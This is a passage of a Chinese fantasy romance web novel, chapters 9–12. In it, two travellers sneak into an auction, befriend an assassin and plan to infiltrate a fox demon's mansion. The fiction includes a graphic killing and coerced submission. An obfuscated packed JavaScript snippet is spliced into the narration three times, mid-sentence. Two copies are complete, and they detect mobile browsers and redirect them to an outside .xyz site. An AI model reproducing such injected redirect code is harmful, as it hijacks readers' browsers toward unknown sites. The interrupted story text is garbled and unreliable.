不夜河的名额排到了半个月后,瞿无涯和阿休便逛了几日沧澜城,顺便收集信息。 南啼寺的神像威严,右手竖起放在胸前。瞿无涯仔细看着,总觉得有点眼熟。旁边的人提醒他,别一直盯着神像,是大不敬、 瞿无涯这才把头低下去,随着身旁的人跪下来,拜了三下。 阿休就抱着手臂在一旁看,周围乌泱泱跪着的人群中,属他鹤立鸡群,已经迎来异样的目光。 眼见众人的神情越来越怪异,隐隐有些怒相,吓得瞿无涯赶紧拉着阿休走了。 “你怎么不跪,就算不信,也得装一下样子吧。要是得罪信徒,我们得一起挨揍。” 阿休沉吟片刻,不确定地道:“嗯,没必要跪。” 这比自己还大不敬,但瞿无涯并不觉得阿休自傲,对嘛,阿休只是比较有态度、有个性,不似众人一般随波逐流。 “我刚刚听到一个消息。”阿休换了话题,“他们在议论,魇箬两日后会去海市的拍卖会,据说有好东西。要去看看吗?” “好啊。” 拍卖会?感觉很有意思。海市是怎么样的?瞿无涯捏着下巴思考,关于海市的消息还挺少的,大概是人妖混杂的缘故,有很多灰色交易不方便外露。 海市虽然叫海市,但并不在海上,而是在地下城。地下城的灯火微弱,给足.交易的安全感,有小摊有店铺,卖什么的都有。妖兽的牙齿、市面上不流通的药材、罕见的毒药、做工精巧的机关法器,甚至还有奴隶。奴隶大多数是人族,也有少数妖族。 妖族压制人族多年,但不代表所有妖的地位都要比人族高。真正倒霉的还是普通人族,像四大州的四大家族、圣都的轩辕王族等等,妖族的压迫对他们来说更倾向于威胁,而非受难。 瞿无涯没分心思在这上面,他们目标明确,是大殿中的拍卖会。越往大殿走就越明亮,殿外铺着一行夜明珠,照亮了殿前的路。 门口的护卫们身着黑色劲装,带着银色面具将脸完全遮住,手按在剑鞘上。 旁边的客人递上请帖,护卫确认后,给客人一个黑色的面具,客人戴上,才允许通过。 客人的面具和护卫的不同,是只遮住眼睛,露出下半张脸。 瞿无涯拉着阿休往后退,“怎么办?要请帖。” 阿休回头看,后面来的客人陆陆续续地走在道路上,他一挑眉。 巷口里,瞿无涯担忧地往巷外看,角落里两个晕倒的人叠在一起,阿休踩在上面。 阿休弯下腰往两人袖口里搜出两张请帖,举起来晃了晃,“喏,这不就解决了。” 有了请帖,两人成功通过审核进了拍卖会。进到会场,瞿无涯才发现就算是客人的面具,也是有些不同的。 他和阿休的面具上只有一道金纹,号码是一百一十四和一百一十五,但上二楼看台的人有两道纹路。他们找到自己的座位落座,他竖起耳朵听旁边客人的议论。 “魇箬真来了吗?怎么没见她?” “想什么呢,那妖女就算来了也不会是在看台。” “也是,她肯定是在包厢里用两相仪看拍卖。” “话说,这海市的主人是谁啊,两相仪这等稀罕的法器,就用来看个拍卖物品,也太大手笔了。” 两相仪,是千里眼的进阶版法器,两个眼珠为子母,子珠是用来记录,母珠是用来观看,可以做到相距千里也能看见另一边的场景。 包厢?看来包厢里是最高级的客人。拍卖师已经在介绍物品,瞿无涯四处张望,大殿是有三层,也不知道包厢是在二楼还是三楼。 台上的拍卖师已经开始叫价,一听价格,随随便便都是几千两,听得瞿无涯有点仇富。 阿休的表情有点古怪,他凑到阿休耳边,小声问:“怎么了?” “我闻到一股奇怪的味道。”阿休不太确定,“好像是有妖在,发情?” 听说魇箬作风荒淫无度,没想到这么夸张,边看拍卖还不忘干事。瞿无涯咂舌,“你鼻子真好。” “嗯,狐狸的味道比较重。”阿休捏住鼻子。 原来魇箬是狐妖。能化形的妖一般都不会轻易向旁人透露自己的妖身,容易暴露弱点。 像他和遥幽认识这么久,也不知道遥幽是什么妖。 阿休眉关紧缩,一副厌恶的模样。瞿无涯认识阿休这么久,还没见过他情绪起伏这么大的时刻,不禁好奇地看着,趁人不注意,亲他一口,“这样好一点吗?” 经过这么久的熏陶,瞿无涯的羞耻心越来越少。阿休也因此少了很多趣味,便学瞿无涯以前捂着脸的样子,“你怎么这么下流?” 瞿无涯双目怒瞪,“是我下流吗?还不是你教的!” “是吗?但你也很有天分。”阿休凑到瞿无涯耳边说,声音极小,热气喷得他耳朵微动,“是一个天生的......” 瞿无涯整个人都涨红了,头偏向一边,不再搭理阿休。 阿休戳他的脸,“真生气了?” 瞿无涯打开他的手,专心听拍卖师说话。 “相信诸位大部分都是为了这压轴的宝物过来的,诸位也都等了很久,那鄙人也不再卖关子。” “别生气了,我给你道歉?” 这什么语气?瞿无涯义正辞严地道:“你骂了我,本来就应该道歉。” 阿休忍俊不禁,“你觉得我在骂你?” “不然呢?”瞿无涯冷笑一声,“难道你说的那个词是什么好意思吗?” “好吧,那是我的错,我以后改掉。”阿休捏他的耳朵,“别生气了。” 感觉这妖根本没有真心认错!瞿无涯打定主意这次不会轻易原谅阿休,总是戏弄他,他必须争口气! “一号客人出价一万两。” 随着拍卖师往锣上敲一声,大厅有客人举起牌子。 “我出一万零一百两。” 加价最低加一百,这人是故意给一号客人下脸,众人窃窃私语,这下有好戏看了。 “一号这么大手笔,又是包厢客人,应该就是那妖女吧,这还有人赶挑衅她?” “拍卖会的身份都是严格保密,自是不怕报复。” “对,若是为妖女破了这个例子,那这拍卖会的也没脸办下去了。” “不过妖要这个圣果有什么用?这是给人开经脉的,又不是给妖。” “可能是拿去讨钟离家那位欢心,听说那位宁死不从,很不给妖女面子呢。” 包厢里,迷香缭绕,珠光明亮,桌上有几盘水果,魇箬半穿好衣服,塌上的男人手撑着脑袋,“大人,怎么不继续了?” “等会。”魇箬捻起一颗葡萄,塞入口中,“来了有意思的客人。” 她转头同一边服侍的侍女道:“去,把那个人给我叫上来,我亲自和他谈价格。” “这倒是个好办法。”瞿无涯沉思状,“要不然我们也叫价,引起魇箬的注意力?” 阿休耸肩,“然后呢?被魇箬抓去当面首?千瞳府是进了,但你怎么应付侍寝?” 那也是。但不出卖色相,怎么接近魇箬呢? 楼上发出剧烈声响,木屑下落。 打起来了?不至于吧,拿不到就抢吗?众人躁动,人声嘈杂。瞿无涯抓着阿休的手臂,警惕着。 “妖女,我今日就为民除害!” 空中立着两人,魇箬的披肩掉落,双肩裸露在外。早听说妖族女子穿着大胆,没想到这么大胆,瞿无涯的视线移向那位黑衣刺客。 魇箬双手结印,嗤笑:“口气不小,你便试试看!” 两人术法相碰,发出耀眼的光和大量冲击。伴随着尖叫声和轰鸣,人们仓惶逃窜,阿休挡在瞿无涯身前。 “无涯,小心。” 魇箬和刺客的身影交缠在一起,快速过了几招。刺客因要避开魇箬的眼睛,占了下风。 “噢?”魇箬察觉刺客的意图,“你知道我的能力?” “少废话,受死吧!” 一些狐妖的眼睛能摄人心魄,而魇箬最擅长的就是幻术。若论武斗实力,刺客有自信能爆发将魇箬击杀。毕竟魇箬也还没一百岁,能化形全靠她的父亲魇瞳用灵药堆出来的,根基不稳又是专精幻术,因而修为算不上上乘。 但要避开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白光乍起,瞿无涯和刺客都消失了。 两人降落在城中的角落,瞿无涯扶着墙呕吐。空间系法器就是这样,不习惯的人容易因为速度太快而晕眩呕吐。 “只能用一次,很珍贵的。”刺客心疼不已,“这次没刺杀成功,本来还想留着下次用。” “多谢,大侠,救命之恩。”瞿无涯还没缓过来,说话断断续续。 刺客用力一拍他肩膀,差点把他半条命拍走,“小事小事,你犯什么事了?” 这个口气,一听就像牢中惯犯。但刺客想杀魇箬,俗话说得好,敌人的敌人就是朋友。 也许能从刺客这得到一点魇箬的信息,瞿无涯抱拳,“实不相瞒,我是和朋友来求医的,但那妖女把钟离肃给囚禁。我也是实在没法子,听说妖女会去拍卖会,我就抢了别人的请帖进去,就是想能探得一点妖女的信息,见上钟离肃一面。” “结果被人追杀,也是因果报应啊。” 瞿无涯并不喜欢叫魇箬妖女,但为了和刺客套近乎,只能委屈一下魇箬当妖女了。 刺客一锤墙壁,墙灰落下些许,“那妖女着实可恨!” “不知能否请教大侠,有什么法子能见上钟离肃一面吗?大侠能帮我,我愿赴汤蹈火,在所不辞。” “法子自然有,正好,我也要潜入千瞳府,届时我带你一起吧。”刺客捏着下巴,胸有成竹。 “那大侠不妨去寒舍休息,等明日我们再议。”瞿无涯怕这刺客万一忘了这事,得缠住这人才行。 “好啊。”刺客乐呵呵一笑,“叫什么大侠,太见外了,我姓原,叫无名。” 瞿无涯十分上道,“原大哥,我叫瞿无涯。” “曲无涯?听上去很懂乐理。”原无名摘下面具,露出英俊的面容。 若说他和阿休的长相都是偏俊美多一些,原无名的长相就是彻底的英俊,剑眉星目,朗朗如月,又极具亲和力,完全不似刺客一般阴冷的形象。 确实,若是专业的刺客,哪里会轻易露出相貌,又怎么会搭救他这个素不相识的人。 “原大哥,是良士瞿瞿的瞿,不是乐曲的曲。” 10. 第 10 章 “原大哥,你受伤了吗?我闻见药草的味道。”瞿无涯和原无名走在回家的路上。 原无名的神色微妙,尬笑两句,“旧伤,旧伤。” 等回到家,瞿无涯发现阿休已经等在家中,他就知道阿休这么厉害,肯定没事。 他飞奔上去,给了阿休一个巨大的拥抱,“你吓死我了,突然就不见。你没事吧?” 阿休气定神闲地拍拍他的肩膀,“没事。”他和后边的原无名对视。 呵呵,一会不见就带了个男人回家。 “哦,我给你介绍一下。”瞿无涯松开阿休,手掌对着原无名,“这是我刚刚认识的朋友,原无名。我方才被请帖的主人给逮到了,是他救了我。他就是今天那个刺客,他说可以带我们进府,我就请他回来住了。” “原大哥,这是我朋友,阿休。” 原无名毫无察觉奇怪的氛围,“休兄,这几日有劳二位收留了。” 他看不出这个叫阿休的人是什么实力,若不是比自己高上很多能够隐藏,就是普通人、 “嗯,多谢你救了无涯。”阿休审视完原无名,转了视线。 “你们饿不饿?我饿了。”瞿无涯到橱柜上翻找,“我看看有没有点心。” 原无名:“我不饿。” “无涯。” 瞿无涯转身,“怎么了?” 阿休拿出一个果子,抛给他。 瞿无涯拿着果子去洗,咬了一口,酸酸甜甜的,还挺好吃。原无名为何一直盯着自己?难道他也想吃? 但要是分他一口,阿休会不高兴的,等下问一下阿休哪里买的,到时候买给原无名吃好了。 几口下肚,瞿无涯把果核扔到桶里,又去洗了个手,才回到房间。 “阿休,这果子还挺好吃的,哪买的?” 原无名因感觉眼熟,盯着瞿无涯吃果子的全程。 阿休淡淡一笑,“捡的。” 这句话是真的,在混乱之中,那保护拍卖物的透明盒子也碎裂,一颗果子就滚下来,护卫在收拾残局,地上一片狼藉。 他隐蔽气息,拿走了那颗果子,瞿无涯容易饿,但这么晚也买不到吃的,就拿这个给瞿无涯当夜宵吧。 至于他出殿时,殿内因失物响起的喧闹声,都无需理会。若说拍卖会上都是沧澜城的风云人物,那这沧澜城似乎也没什么大不了的,毕竟,他就算如今中蛊,也都打得过。 原无名神情复杂,“这个是圣果吧?” 瞿无涯目瞪口呆,发出一个音节“啊”。什么圣果?刚刚拍卖会的那个吗?吃起来也没什么稀奇的啊,和寻常果子一个味道。 而且这个果子是什么功效来着?他没有认真听。 阿休:“不是,长得比较像而已。” 对陌生人没必要说太多。 真的吗?瞿无涯狐疑地看着阿休,他也算了解阿休的性子,阿休说正经话和说玩笑话是一个语气。 但原无名信了,像阿休这样神色自若、浑不在意的模样,有什么说谎的必要吗? “原来如此,还真挺像的。” 瞿无涯赶紧转移话题,“原大哥,这旁边有一个空房间,你就在这歇息吧。” 院子是有两间卧室,两个男子住一间卧室比较少见,他们不想节外生枝,就随大流找了两间卧室的院子。 等原无名安顿好,瞿无涯长舒一口气,体内灵气涌动,他给自己把脉,好似经脉在被抚慰。 他关好门,转身问阿休:“刚才我吃的真是圣果?” “开经脉的,对你身体有好处。”阿休撩开他额前的碎发,“你不是一直想修道吗?你根骨不错,但比起从小修炼的人来说还是落后一步,吃了这个有助于你以后的修炼。” “可是这是偷来的啊,我们没付钱。”瞿无涯压低声音,“我不喜欢这样,这不是属于我的东西。” 阿休勾唇,“你也太正直了。你知道圣果是什么吗?” 瞿无涯摇摇头。 “圣果是王族的圣物,三百年结一颗果,是给王族寄予厚望的子嗣服用。你说这种东西王族的公共宝物,为什么会沦落到海市上?王族还没有落魄到要卖圣果的地步,也就是说这是他们故意放到拍卖会上的。” “目的嘛,自然是吸引该来的人。动不到魇瞳,还杀不了魇箬吗?只不过,这场刺杀布局得很粗糙,幕后人没有一击必中的决心,所以不肯投入太多资源。这要是让人知晓王族在背后动手脚,那就是和永瞑泽撕破脸,王族还没开战的实力。” “因此,这场刺杀是侠义之举,隔壁的那位,是个心怀天下的侠客。侠客想斩妖,王族就推他一把,成功也好失败也罢,怨不到王族头上。我说的也不一定全对,但大致是没差的。” “这和你拿圣果有什么关系?”瞿无涯一头雾水。 “捣乱啊。”阿休淡淡地瞥隔壁方向一眼,“王族没有道理为一次大概率失败的刺杀牺牲圣果,魇箬也会质问海市刺杀的事情。若这个时候,他们发现圣果既不是海市回收,又不是魇箬拿了,会不会很有意思?” “啊,他们肯定会猜,到底是谁有这个能力在他们眼皮底下拿走东西,哪来的第三方势力,这个第三方势力又知道些什么?然后,关于我的身份信息自然会找上门。” 虽然听得很懵,但瞿无涯确认了一点,“原来你是真嫌我话多,不愿意和我说话。” 说起这些事就滔滔不绝,果然是他说的话太无聊了,阿休不想理他吗? 阿休本就是不愿意多解释的性格,是为眼前这个笨蛋解惑才说那么多,结果对方一点也没听懂就算了,还埋怨他。 他扶着额头,“哎,我真是......多余和你说。” 他一推瞿无涯,把人按在门上,咬着瞿无涯的嘴唇。 瞿无涯下意识往隔壁一看,原无名似乎实力高强,会不会察觉? 阿休威胁似的,按着瞿无涯的喉咙,他没有说话,瞿无涯却听懂了他的意思。 要是再在这种时候想原无名,就让瞿无涯死在床上。 最后两人还是没有真做,因为阿休要帮瞿无涯把圣果吸收完全。 瞿无涯五感清明,有种脱胎换骨的感觉,从前看不见、听不见、闻不到的细微之处都翻涌而上,他甚至能听见隔壁轻微的鼾声。 “原大哥睡这么香,也不怕我们是坏人吗?”瞿无涯埋在阿休的怀里,说小话。 阿休捏着他的耳朵,回想了一下拍卖会的情况,“原无名,他的修为能和魇箬不相上下,应该算厉害的。他不是单纯,只是对自己的实力很自信。” “那你打得过他吗?” “我没必要和他动手,他太年轻了。这没法比的,我毕竟是妖。人族寿命就那么短,看他的年纪也不过二十几,能有这个水平,确实难得。我们从碧落村到沧澜城这一路,比他厉害的见过,但比他年轻又比他修为高强的,没有见过。” 就算阿休没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126455|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,瞿无涯也从他日渐增多的沉思中感觉到,“你是不是恢复记忆了?” 因为阿休总是不说,他也不知道自己该不该问,只能装作打情骂俏一般质问,就是想暗示阿休是不是该和自己说什么。 大概是他的暗示太含蓄了,阿休完全没有感觉到。阿休刚醒来那几日的状态,是带着迷茫的散漫,但如今是淡然的散漫。 就像阿休方才分析的一堆东西,若是换刚醒来的阿休,肯定是说不出的。 “嗯,不算吧。”阿休沉吟,“与其说是恢复记忆,不如说是恢复智力。我仍然想不起自己是谁,也想不起以前的事,但有些常识会突然出现在脑海里。” “那你,若是恢复记忆......” 还会待到我身边吗? 问不出这么直接的话,瞿无涯抿嘴,“会不会性情突变,变得很残暴。我听说越厉害的妖,性格就越残忍好杀。” 阿休也无法做出承诺,“我不知道,但你不用担心我会伤害你,婚契是不会允许我伤害你的。” 离开也是一种伤害,瞿无涯越了解世间的形势、见识强大的力量,就越有些迷茫和胆怯。 他只是一个偏远山村的孤儿,他不懂什么王室什么十二妖君什么人妖对立,也从来不知道术法对抗会发出那样耀眼的光。 曾经,他听长辈说过阳镇有一个根骨绝佳的天才,被高人收为徒弟,那个徒弟说修炼很无聊,就是不停地打坐打坐再打坐。 直到遥幽告诉他,他才知道,修炼是需要心法才行,打坐只是集中精力聚集灵气,而且妖和人所用心法并不共通。普通人就算不修炼,也会汇聚一些灵力在体内,只不过没有心法的帮助,效率极其低,纯看个人天赋,可以说是忽略不计。 就是他这样一个连修炼都一知半解的普通人,竟然要接近妖君的女儿吗?无知才能无畏,他越接近真实的一切,反而越担忧。 阿休是强大的妖,原无名是有天分的修炼者,那他算什么呢?幸好,阿休是和他一起的,这让他安心。 他紧紧地抱着阿休,两人依偎着睡去。 如此岁月静好的院子,自然是有人在负重前行。 千瞳府。 魇箬踹开地上跪着的人,踩到他脸上,“我说让你老板拿出客人名单,听不懂吗?” 那人嘴角有血,磕磕绊绊地道:“少君,拍卖会有规定,客人名单要是被公布,海市之后没办法做生意的。况且圣果失踪,海市这次本就损失惨重,还请少君谅解。” “关我什么事?做不来就别做,连刺客都能来的地方,还有存在的必要吗?” 魇箬用力踩下去,听见痛苦的哀嚎声,大笑,“圣果失踪难道是我的错吗?你们海市办事不利的损失——哦,你们怀疑是我拿走了?” 那人的脸骨发出碎裂的声音,面容扭曲得不成样子,声音细微,“没有......” “我又不是买不起,我为何要拿?你们不去查那个刺客,反倒查我头上?” 这惨叫声也太难听了,魇箬不耐烦地使劲,感受到脚下的脑袋碎裂,才收回腿。 啧,鞋子脏了,这红红白白的混合物真恶心。她干脆褪去鞋袜,赤脚走出殿外。 侍女识趣地上前收拾,这种惨状,她见得太多,已经不会再呕吐了。或者说,呕吐的人下场会和这个脑浆迸裂的人一样。 魇箬哼着小曲,纱衣飘飘,笑得天真又甜蜜,推开房门,“肃,我回来啦。” 11. 第 11 章 屋内陈设简单,橱柜上杂乱地堆着金银物件、玛瑙水晶,旁边书柜的书摆放却十分整齐。 一位白衣男子坐在塌上翻书,他眼下青黑,面容憔悴,嘴角平直成一条线。 进门的女子一身水粉纱裙,鹅蛋脸小巧,五官精致如画,满脸欢喜,乍一看就是像是大户小姐见到心爱的情郎。 钟离肃闻到血腥味,心知她又杀了人,一股反胃感涌上,他扔下书,开始作呕。 魇箬却完全不在意,“今天没给你带回圣果,是我食言了。说吧,你想要什么补偿?” “圣果失踪了,他们还怀疑是我偷的,我偷这个干嘛,真是气死我了。” 钟离肃停止了干呕,再呕下去,魇箬不高兴又要撒气了。 魇箬搂着他的腰,“你瘦了好多,叫你不好好吃饭,胃都出问题了,还是个大夫呢,连自己都不会照顾。” “若你不是因我不进食物而杀了厨子,我倒宁愿饿死。”钟离肃闭眼,嫌恶地道。 “你还怪我呢,我那是生气,总要找个地方发泄吧。你别惹我生气不就好了。”魇箬不理解,认为自己相当委屈。 那厨子做得不好吃,让钟离肃饿肚子,就是该死啊。就像刚才那个海市的人,不就是海市送来给她发泄怒火的替死鬼。 她可不信那群人族不了解她的性情,这个时候会派来千瞳府的人,已经是个死人了。 平心而论,魇箬待钟离肃极好,无论钟离肃的态度多差,魇箬从来不对他下脸色,不打他也不骂他。 只是,魇箬一不高兴,倒霉的就是他身边无辜的人。就算他是钟离家寄予厚望的后辈,钟离家也没办法在他没有性命之忧的情况下约束魇箬。 魇箬松开手,坐到床边,双腿分开一个弧度,亲热地道:“肃,快过来,跪下。” 钟离肃捏着拳头,屈辱地跪下,低头。 原无名伸着懒腰,慢悠悠推门,抬头。今日天气挺好。接到这个杀妖任务前,他刚结束上一单。 上一单是一个尸位素餐、沐猴而冠的硕鼠,来南州的路上还被仇家用仙人跳算计。 朋友常说,作为一个刺客,他心太善,也太宽容,天赋高对他来说不是一件好事,因为拥有的太多,所以太过松弛。 刺客应当是紧绷、锐利的。原本他的理想也不是当刺客,而是侠客。刺客是为大局,侠客是为大义。 若说要为逃避仇家的算计而舍掉怜悯,不再帮助受难之人,那他宁愿死在仇家手上。 很高兴这次不是算计,能交到新朋友,原无名是很开心的。尽管朋友的朋友,看起来有点奇怪。 两个人看着实在不像一路人,阿休沉默多思,而瞿无涯活泼天真。在交谈中,他得知瞿无涯是来自南州偏远地带的山村,难怪这么纯真。 阿休是一个有距离感的人,原无名也不是喜欢探究人来历的性子,所以也没问瞿无涯关于阿休的事。 深秋的沧澜城还不算冷,凉风习习。 “这次事闹得有点大,等风头过了再进府吧。”原无名坐在台阶上擦剑,“你朋友的病急吗?” “大概不急,我也不知道。”瞿无涯答道,若是问阿休,阿休也不会说什么坏消息,“原大哥是想如何进府?” “卖身。”原无名严肃道,“只能走这条路了。” 瞿无涯看一眼阿休,问:“有没有更体面的办法?” “想什么呢。”原无名把剑归鞘,别在腰间,“能近魇箬身的年轻男子,全是她的面首预备役。就算你是去当个下人,她看你长得好看,一样把你宠幸了。” “若不是千瞳府的阵法太难破,我也不想用美人计。你也不用太担心,她府里的男子多着,不一定就看中你。” 三人开始了平静的同居生活,和表面松弛不同的是,原无名的修炼十分勤奋,他出门比阿休还要少,常常就是在打坐、练剑。 而阿休则是真松弛,他不爱出门也不爱修炼,每日就和大爷似的懒洋洋地晒太阳。 瞿无涯偶尔会偷偷看原无名打坐,周围气流会变快,隐隐有白光包围。 终于有一天,原无名外出了。 云霄楼的包厢里,五彩缤纷的珠帘被原无名掀开,“这么高调,果然不是他的作风。” “风口浪尖呢,他要避避,就让我来和你谈了。”钟离柏微微仰头,举起酒杯,冲原无名笑,“好久不见,无名。” “海市的事处理得怎么样了?”原无名坐下,拿起酒壶往杯中倒酒。 “真稀奇,你居然关心起这个。”钟离柏捏着酒杯,望着杯中因晃动泛起的波纹,“魇箬杀了点海市的人,气消了也就不追究。至于圣果,对他来说本来也就是治标不治本的东西,没了也就没了吧。” “比起这个,更值得注意的是,谁有能力能在那种场面下悄无声息地拿走圣果,而这等修为的人,又为何会出现在拍卖会?他的目的是什么?” 原无名想了想,道:“妖族的十二妖君、三长老,还有妖王。四大家族的家主、护法,还有王上、极天卫,这些是叫得上名的。剩下一些散修,也说不准实力。” 钟离柏喝一口酒,“不计较那些暂时想不起来的,就刚才说的这些人,也没有来海市的必要。他们想要圣果,就算不是王族,费点心思也不是不能弄到。何况,这个圣果的消息,已经控制尽量只在沧澜城传播。” “客人的名单也核对过,基本上都是沧澜城及附近的客人,证明消息并没有散播太广,这件事确实蹊跷。” “你怎么敢下山了?”原无名不太关心圣果,想起魇箬和钟离肃的事,“你不是说怕魇箬看上你,到时候和纠缠你哥一样纠缠你,哭着闹着不肯下山吗?” “唉,我哥都被囚禁了,我还真能坐视不理吗?”钟离柏唉声叹气,“我也没想到这妖女,真是没开化的土匪作风,我哥不同意,她没了耐心就直接把人掳过去,简单粗暴。” “我倒宁愿她看上的是我了,钟离家可以没有我,但不能没有我哥。他的天赋比钟离家的任何一位祖先都要高,长辈们就指望他能带领钟离家走向新的巅峰。奶奶到现在都茶饭不思的,奶奶年纪也大了,实在是受不起折腾。” 越说到后面,钟离柏就越愁。 “你知道吗?我哥,十岁的时候就已经通读医典,他日夜都抱着他那个书看啊看。他十五岁,就已经可以单独出诊。二十岁,解开了影月虫的毒,爷爷到去世都没做到的事,他做到了。我劝他说,别老看书了,也花点时间修炼,他非不听。现在好了,一个药堆出来的妖都打不过。” 原无名:“你也打不过。” 钟离柏哽了一下,“不是谁都像你一样这么奇葩好吧,年纪轻轻实力就和老头一样。对了,你这段时间躲哪去了?魇箬派人找遍了沧澜城的客栈都查不到你踪迹,不会是露宿荒野吧?” “一个新朋友那。”原无名笑容爽朗,“挺有意思的。”瞿无涯和阿休确实有些怪异,但没有恶意。 只要不影响他杀魇箬,其他事他都不太在乎。 “新朋友?”钟离柏很了解原无名的德行,“你小心又是杀猪盘。” “不会的。”原无名一拍钟离柏的肩膀,语重心长,“人和人之间多点信任,好吗?” “好吧。关于魇箬,我的建议是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126456|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬碰硬没胜算的话,你可以换别的办法。” 钟离柏笑得恶趣味。 原无名挑眉,“你是让我去真的勾引?” “想哪去了,你先想办法联系上我哥,她不是迷恋我哥吗?”钟离柏摆摆手,“你劝劝我哥,让他使使美人计。” “你越说越复杂了,我的目的是杀死魇箬。现在反倒要在魇箬眼皮底下靠近你哥去密谋,未免本末倒置了。我要潜入千瞳府,不过是因为府外有防护阵,还是魇瞳特意请东州的东英大师所设,我可不想先闯东英的阵,再和魇箬战斗。” 尽管是拒绝的话,原无名依旧笑得明亮亲和。 钟离柏摇摇头,原无名还是这样耿直,杀妖就只是杀妖,能正面对决就不投机取巧。 有时,钟离柏甚至会嫉妒原无名能这样潇洒地活着,不妥协的前提是实力强劲,才能有坚持意志的底气。 弱小的人生是没有那么多容错的。 “今年年底,你回北州吗?”钟离柏也不欲在正事上干涉原无名太多。 “不回。”原无名目光望向窗外,“回去做什么。” “你有多少年没回去过了?七八年?” “差不多吧。” 血月州,尖色塔。 谲凰拿起属下呈上来的和田玉,仔细端详一番,“这确实是王上的,从哪来的?” 属下半跪着,低头回话:“据说是从南州的一个当铺流出来。” 当铺?王上怎么会穷困潦倒到卖玉佩?还是说,有人捡到了这块王上近身的玉佩? 谲凰冷着脸,捏紧玉佩,若是王上安好,他这段时间传的消息,王上怎会一句不回? 玉佩的流转,是否说明王上行动被限制了?到底什么人有能耐制服王上?那些无知的东西胡言乱语,说些王上修为已经不足以服众的白痴话。 但他是清楚王上实力的,这天底下,王上就是第一。十二妖君加一起,也不够王上喝一壶。 南州?好。他倒要去钟离家问上一问,这个南州,到底是什么人把王上的玉佩给当了。 “走,去沧澜城。” 属下颔首,“遵命。” 刹罗走进来,“沧澜城?王上在沧澜城?” “呦,这不是我们忙碌的刹罗妖君吗?终于有空关心王上的事了?”谲凰抱着手臂,阴阳怪气。 他来血月州是想向刹罗打听王上的消息,结果发现刹罗私养了一个貌美的舞姬,正夜夜笙歌,压根没去关心王上的踪迹。 这真是铁树开花,刹罗这等冷酷的妖,竟然会爱上女子。 刹罗一向面无表情,闻言也只是嘴角抽动一下,“你别在这羡慕嫉妒,你爱慕王上,又不敢表明心意,呛我有什么用?” 谲凰狠狠地瞪着刹罗,“就王上的脾性,你我还不清楚?我要是诉情,他只会把我流放到焚漠挖沙子。” 王上情绪稳定,从来不红脸,但心却狠,做事也雷厉风行。若他让王上感到麻烦,王上可能懒得解决麻烦,直接解决他。 这些年,爱慕王上的男男女女不知多少,王上向来是不在意。若是让王上不耐烦的,还会被送去北州的瞭望塔——这个塔在妖界有一个俗称叫“锁妖塔”。 人族为讨好王上,也送过很多美人。对上人族,王上给出了拒绝的理由,不够美。 要说拒绝也就拒绝吧,人族也不是不知道王上不近美色,可偏偏王上给出一个近乎挑刺的理由,这让人族很不服气。 怎么就不够美了?此后,每次王都大会,人族都会上贡美人,当然没有一个能留着王宫。 谲凰往往对此又庆幸,又怨恨。 12. 第 12 章 沧澜城集市的边角处,一块牌子立着,上面写着四个字“卖身葬父”。 瞿无涯深感丢人,一直低着头。原无名则有着浩然正气的气质,让人不敢上前。 阿休更是枕在瞿无涯腿上睡觉,抓着瞿无涯的手盖在自己眼睛上,连眼都懒得睁开。 喂喂喂,他们三个怎么看都像可疑人士吧,千瞳府的人真敢招他们进去吗? 阿休昨日还说,既然原无名要杀魇箬,等魇箬死了,那钟离肃不就解放了?那他们可以坐收渔翁之利。 被瞿无涯驳回了,谁知道原无名能不能杀掉魇箬,什么时候能杀掉魇箬,万一在那之前,阿休先出个好歹怎么办? 不想杀妖,阿休对自己的这个念头感到讶异。得知原无名要杀魇箬,他心中没有抵触。但他不想以面首的姿态潜入千瞳府,想着,要不然就帮原无名杀了魇箬也是一种办法,总这样拖着真麻烦。 只消闪过一瞬,他就放弃了这个念头。为什么呢?是同族之谊吗?那也够虚伪的,他对同族的生死漠不关心,却不愿意亲自动手。 倘若魇箬真对瞿无涯下手,那他也有了杀妖的理由,这是他跟着两人来这“卖身葬父”的缘由。 “原大哥,我们这样真的能行吗?”瞿无涯忧心忡忡。 原无名一本正经:“凡事,先做,至于结果,那是之后的事。” 面对原无名这么斩钉截铁的态度,瞿无涯也不好再多说,已经在想等下收摊吃什么了。 钟离柏说,魇箬对进府的男子要求只有貌美这一条,也不是没有借着这个想害她的男子,但年轻男子的修为怎么比得过魇箬。 对比自己弱小又俊秀的生物,魇箬愿意宽容。 原无名抱着剑,目不斜视。 日暮西山,终于要结束了,瞿无涯正要提议打烊。 三位紫色长裙的女子走来,为首的女子上下打量他们三。 “你们是,三兄弟?” 这长得也不像啊。 原无名点点头:“是的。” 所以说原无名的长相十分正气,女子信了八分:“我是千瞳府的紫妍,你们出价多少?” 这三人看着好生怪异,不过魇箬少君说过,只要长得好看,别管其他的什么,带回来就对了。 “一百两一个。”原无名随意报价。 “不行,他不行。”紫妍指着瞿无涯。 原无名看向瞿无涯,阿休也睁开眼,瞿无涯瞠目结舌。按理来说,他不至于被卡相貌吧?难道是不喜欢他这种类型? 